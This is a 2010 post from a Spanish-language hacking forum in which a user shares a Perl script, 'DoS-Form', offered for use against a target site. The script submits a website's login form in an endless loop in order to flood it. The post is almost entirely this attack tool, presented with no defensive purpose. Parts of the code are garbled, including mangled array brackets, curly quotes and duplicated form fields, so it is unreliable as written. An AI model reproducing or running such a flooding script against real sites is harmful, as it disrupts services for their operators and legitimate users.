ENTRAR EN EL FOROHACK ANTIGUO (Muchos temas viejos y de menor nivel)
14:07:37 02/12/2020
¿No estas registrado?
Login: Clave:
5 Usuarios en línea: 0 registrados, 5 invitados.
Conéctate y verás los usuarios en línea
Tema: DoS-Form. [perl] 2 votos2 votos2 votos2 votos2 votos
    Responder
Todos Los Foros -> Perl / Phyton -> DoS-Form. [perl]
Autor Mensaje (Ver Versión para Imprimir)
s3cure
Usuario Enfermo
Arreglando las imágenes

Mensajes: 69
Registrad@:
07/01/2010
Estado: Desconectad@
DoS-Form. [perl]

Hi hi, ps este script lo hice ya hace un poco. La función es deosear algún formulario, se puede editar al 100 x 100. Enjoy!.


CÓDIGO
#!/usr/bin/perl
      # c0dex by m0x.lk | s3cure@ HSLTeam.com
      # DoS form.

      print “\\n Hacking & Security Latin Hacking Team\\n”;
      print ” HSLTeam.com + Pentest.hslteam.com\\n”;
      print ” DoS form by m0x.lk\\n”;
      print “\\n”;

      use WWW::Mechanize;

      $target=$ARGV[0>;
      $formuser=$ARGV[1>;
      $formpaswd=$ARGV[2>;
      $button=$ARGV[3> || die “Usage: script.pl target/login form_user form_passwd button_login\\n”;
      print “Usage: [Ok!>\\n”;
      print “Start DoS in $target\\n”;

      my $mech = WWW::Mechanize->new();
      $mech->get( “$target” ) || die “$target [OFF!>\\n”;

      dos: ;
      my $response = $mech->submit_form(
      fields => {
      form_user => “$formuser”,
      fields => { ‘0′, },
      form_paswd => “$formpaswd”,
      fields => { ‘0′, },
      button => “$button”
      }
      ) || die “Form or button no found!\\n”;
      goto dos;




salu2.


Creer que todo es genial para luego ver realidad.
07/01/2010 17:25:56 


REGÍSTRATE PARA PODER ENVIAR UN MENSAJE (tardas 20 segundos)

Copyright ForoHack.com